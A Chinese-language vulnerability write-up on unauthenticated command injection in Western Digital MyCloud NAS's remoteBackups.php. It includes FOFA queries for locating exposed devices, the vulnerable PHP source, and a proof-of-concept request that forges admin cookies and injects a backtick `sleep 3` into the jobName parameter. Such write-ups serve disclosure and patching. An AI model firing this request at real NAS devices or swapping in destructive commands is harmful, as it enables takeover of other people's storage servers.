漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS remoteBackups.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 remoteBackups.php 其业务实现逻辑如下
<?php
session_start();
$r = new stdClass();
$r->success = false;
include ("../lib/login_checker.php");
/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
echo json_encode($r);
exit;
}
$date = new DateTime();
$r= $date->getTimestamp();
$cmd = $_REQUEST['cmd'];
$RemoteBackupsAPI = new RemoteBackupsAPI;
switch ($cmd) {
case "getRecoverItems":
$RemoteBackupsAPI->getRecoverItems();
break;
}
class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST['jobName'];
@unlink($xmlPath);
$cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
system($cmd);
if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "<config></config>";
}
}
}
?>
当cmd=getRecoverItems时,从请求中获取 jobName 参数,在未进行任何过滤或转义的情况下,直接将其拼接到 $cmd中,然后用system() 函数执行的系统命令中,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。
漏洞复现
GET /web/php/remoteBackups.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
cmd=getRecoverItems&jobName=\"`sleep 3`\"

成功延时 3 秒

